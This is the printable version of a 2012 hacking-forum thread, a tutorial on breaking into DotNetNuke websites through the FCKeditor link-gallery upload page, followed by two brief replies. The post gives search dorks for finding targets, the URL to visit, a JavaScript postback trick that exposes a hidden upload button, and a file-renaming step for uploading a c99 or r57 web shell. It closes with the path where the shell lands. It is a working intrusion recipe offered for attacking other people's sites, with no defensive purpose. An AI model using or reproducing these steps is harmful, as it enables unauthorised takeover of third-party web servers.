Tutorial DNN Exploit - Printable Version

Tutorial DNN Exploit - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking)
+--- Thread: Tutorial DNN Exploit (/Thread-Tutorial-DNN-Exploit)

DNN Exploit - Merkuri - 11-08-2012

DNN Exploit

In this tutorial I will write about hacking website via DNN(DotNetNuke) exploit. You will need shell (c99,r57, ItSecTeam Shell....)

What is DNN(DotNetNuke) ?

Code:
DNN is the leading Web Content Management Platform (or CMS) for Microsoft, powering over 700,000 production web sites worldwide. The flexible DNN open source CMS platform also functions as a web application development framework. Depending on your role within your organization, DNN provides powerful benefits to support your Web initiatives.

-http://www.dotnetnuke.com/

How to find vulnerable site ?

We will use GH(Google Hacking, Google Dorks)

Code:
inurl:/tabid/36/language/en-US/Default.aspx
inurl:fcklinkgallery.aspx
inurl:/portals/0

Those are the dork I know and found if you what you can search in internet for more

Exploiting
http://www.site/home/tabid/36/language/en-US/default.aspx
This is vulnerable site.
change home/tabid/36/language/en-US/default.aspx with Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
The new page should look like this [Image: image_thumb%5B18%5D.png]

Rename your shell .jpge(example c99.asp.jpge)
Now select Third ratio "File (A file on Your Site)"
Paste this JavaScript in URL bar

Code:
javascript:__doPostBack('ctlURL$cmdUpload','')

Now you should see upload button click it

PARTY !@#!@$$%!@#%^! you have successful upload your shell

Code:
portals/0/c99.asp.jpg

Here should it be Smile

Also sometimes you will see the page without the upload forum this site is NOT vulnerable

Re: DNN Exploit - Oni - 11-08-2012

Another awesome tutorial from you. Great job. Biggrin

RE: DNN Exploit - shizelkid - 11-10-2012

Has dotnetnuke been hacked?